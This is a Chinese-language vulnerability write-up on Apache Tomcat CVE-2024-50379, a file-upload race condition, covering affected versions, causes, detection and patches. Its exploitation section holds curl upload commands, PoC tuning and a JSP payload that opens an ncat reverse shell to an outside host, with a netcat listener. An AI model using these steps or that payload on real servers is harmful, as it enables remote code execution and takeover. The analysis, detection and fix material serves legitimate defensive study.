【已复现】tomcat CVE-2024-50379
字数 1759 2025-08-29 22:41:44

Apache Tomcat CVE-2024-50379 漏洞分析与利用指南

漏洞概述

CVE-2024-50379 是 Apache Tomcat 中存在的一个检查时间使用时间 (TOCTOU) 漏洞。该漏洞允许攻击者在特定条件下通过文件上传实现远程代码执行 (RCE)。

漏洞类型

  • TOCTOU (Time of Check Time of Use) 竞争条件漏洞
  • 可能导致远程代码执行 (RCE)

受影响版本

  • 9.x 系列: 9.0.0.M1 <= Apache Tomcat <= 9.0.98
  • 10.x 系列: 10.1.0-M1 <= Apache Tomcat <= 10.1.34
  • 11.x 系列: 11.0.0-M1 <= Apache Tomcat <= 11.0.2

漏洞成因

该漏洞的产生需要满足以下条件:

  1. 默认 Servlet 配置不安全:

    • 默认 Servlet 启用了写入功能 (readonly=false)
    • 示例不安全配置:
      <servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        <init-param>
          <param-name>debug</param-name>
          <param-value>0</param-value>
        </init-param>
        <init-param>
          <param-name>listings</param-name>
          <param-value>false</param-value>
        </init-param>
        <init-param>
          <param-name>readonly</param-name>
          <param-value>false</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
      </servlet>
      
  2. 运行在不区分大小写的系统上:

    • 如 Windows 或 macOS
    • 在 Linux 等区分大小写的系统上无法利用
  3. 利用机制:

    • 攻击者可以上传带有特定扩展名(如 .Jsp.JSP)的文件
    • 通过竞争条件,Tomcat 可能将上传的文件当作可执行的 JSP servlet 处理
    • 结合反序列化利用链实现 RCE

漏洞利用

利用条件

  1. 默认 Servlet 开启写入操作 (readonly=false)
  2. 使用基于文件存储的 session,且存储路径默认
  3. 存在反序列化利用链的 jar 包

利用步骤

  1. 验证写入权限:

    curl -X PUT -d "test" http://IP:8080/demo.jsp
    
  2. 上传恶意文件:

    • 上传扩展名为 .Jsp.JSP 的文件:
      curl -X PUT -d "<恶意代码>" http://IP:8080/demo.Jsp
      
  3. 利用竞争条件:

    • 通过大量请求使服务器过载
    • 尝试访问上传的文件作为可执行 JSP

PoC 修改建议

原始 PoC (https://github.com/iSee857/CVE-2024-50379-PoC) 可进行以下优化:

  1. 修改循环计数器:

    # 原始代码: for _ in range(10000):
    for _ in range(2000):  # 更高效的循环次数
    
  2. 更改 Payload:

    <%@ page import="java.io.*" %>
    <%
    Runtime.getRuntime().exec("cmd /c start ncat -e cmd.exe IP 8888");
    %>
    
  3. 执行攻击:

    python3 ApachTomcat_CVE-2024-50379_ConditionalCompetitionToRce.py -u IP:8080
    
  4. 监听反弹 shell:

    netcat -lvnp 8888
    

注意:

  • 可能需要重复执行 PoC 3-4 次才能成功
  • 攻击期间终端可能看似停滞,这是正常现象

检测方法

Web 访问日志检测

access_log 中查找以下模式:

  1. 直接上传攻击:

    PUT /cve.Jsp
    GET /cve.jsp
    
    • 重复大量此类请求
    • 最终会返回 200 状态码(成功)或 404(失败)
  2. 通过上传表单攻击:

    POST /app/template-upload.jsp
    GET /uploads/revshell.jsp
    

系统日志检测

  1. 文件创建监控:

    • 查找可疑的 JSP 文件创建
    • 特别是包含 exec() 等危险字符串的文件
  2. 进程执行监控:

    • Tomcat 进程生成 CMD 或 PowerShell 子进程
    • 异常进程创建行为

修复方案

官方修复版本

  • 11.x 系列: 升级到 11.0.3 或更高
  • 10.x 系列: 升级到 10.1.35 或更高
  • 9.x 系列: 升级到 9.0.99 或更高

临时缓解措施

  1. 配置修复:

    • 确保默认 Servlet 配置为 readonly=true
    <init-param>
      <param-name>readonly</param-name>
      <param-value>true</param-value>
    </init-param>
    
  2. Java 系统属性调整:

    • Java 8/11 用户: 设置 sun.io.useCanonCaches=false
    • Java 17 用户: 确保 sun.io.useCanonCaches 未设置为 false

技术背景

TOCTOU 原理

TOCTOU (Time of Check Time of Use) 漏洞是由于:

  1. 系统检查资源状态
  2. 在使用资源前,资源状态被改变
  3. 系统使用了改变后的资源

在本漏洞中:

  1. Tomcat 检查文件扩展名(区分大小写)
  2. 操作系统处理文件时不区分大小写
  3. 通过竞争条件绕过安全检查

文件扩展名处理差异

  • Tomcat: 严格区分 .jsp.Jsp
  • Windows/macOS: 不区分大小写,视为同一文件
  • Linux: 区分大小写,无法利用此漏洞

总结

CVE-2024-50379 是一个严重的 Tomcat 漏洞,允许攻击者在特定条件下实现远程代码执行。管理员应立即检查服务器配置并升级到修复版本。对于无法立即升级的系统,应实施推荐的缓解措施,特别是确保默认 Servlet 配置为只读模式。

Apache Tomcat CVE-2024-50379 漏洞分析与利用指南 漏洞概述 CVE-2024-50379 是 Apache Tomcat 中存在的一个检查时间使用时间 (TOCTOU) 漏洞。该漏洞允许攻击者在特定条件下通过文件上传实现远程代码执行 (RCE)。 漏洞类型 TOCTOU (Time of Check Time of Use) 竞争条件漏洞 可能导致远程代码执行 (RCE) 受影响版本 9.x 系列 : 9.0.0.M1 <= Apache Tomcat <= 9.0.98 10.x 系列 : 10.1.0-M1 <= Apache Tomcat <= 10.1.34 11.x 系列 : 11.0.0-M1 <= Apache Tomcat <= 11.0.2 漏洞成因 该漏洞的产生需要满足以下条件: 默认 Servlet 配置不安全 : 默认 Servlet 启用了写入功能 ( readonly=false ) 示例不安全配置: 运行在不区分大小写的系统上 : 如 Windows 或 macOS 在 Linux 等区分大小写的系统上无法利用 利用机制 : 攻击者可以上传带有特定扩展名(如 .Jsp 或 .JSP )的文件 通过竞争条件,Tomcat 可能将上传的文件当作可执行的 JSP servlet 处理 结合反序列化利用链实现 RCE 漏洞利用 利用条件 默认 Servlet 开启写入操作 ( readonly=false ) 使用基于文件存储的 session,且存储路径默认 存在反序列化利用链的 jar 包 利用步骤 验证写入权限 : 上传恶意文件 : 上传扩展名为 .Jsp 或 .JSP 的文件: 利用竞争条件 : 通过大量请求使服务器过载 尝试访问上传的文件作为可执行 JSP PoC 修改建议 原始 PoC (https://github.com/iSee857/CVE-2024-50379-PoC) 可进行以下优化: 修改循环计数器 : 更改 Payload : 执行攻击 : 监听反弹 shell : 注意 : 可能需要重复执行 PoC 3-4 次才能成功 攻击期间终端可能看似停滞,这是正常现象 检测方法 Web 访问日志检测 在 access_log 中查找以下模式: 直接上传攻击 : 重复大量此类请求 最终会返回 200 状态码(成功)或 404(失败) 通过上传表单攻击 : 系统日志检测 文件创建监控 : 查找可疑的 JSP 文件创建 特别是包含 exec() 等危险字符串的文件 进程执行监控 : Tomcat 进程生成 CMD 或 PowerShell 子进程 异常进程创建行为 修复方案 官方修复版本 11.x 系列 : 升级到 11.0.3 或更高 10.x 系列 : 升级到 10.1.35 或更高 9.x 系列 : 升级到 9.0.99 或更高 临时缓解措施 配置修复 : 确保默认 Servlet 配置为 readonly=true Java 系统属性调整 : Java 8/11 用户: 设置 sun.io.useCanonCaches=false Java 17 用户: 确保 sun.io.useCanonCaches 未设置为 false 技术背景 TOCTOU 原理 TOCTOU (Time of Check Time of Use) 漏洞是由于: 系统检查资源状态 在使用资源前,资源状态被改变 系统使用了改变后的资源 在本漏洞中: Tomcat 检查文件扩展名(区分大小写) 操作系统处理文件时不区分大小写 通过竞争条件绕过安全检查 文件扩展名处理差异 Tomcat : 严格区分 .jsp 和 .Jsp Windows/macOS : 不区分大小写,视为同一文件 Linux : 区分大小写,无法利用此漏洞 总结 CVE-2024-50379 是一个严重的 Tomcat 漏洞,允许攻击者在特定条件下实现远程代码执行。管理员应立即检查服务器配置并升级到修复版本。对于无法立即升级的系统,应实施推荐的缓解措施,特别是确保默认 Servlet 配置为只读模式。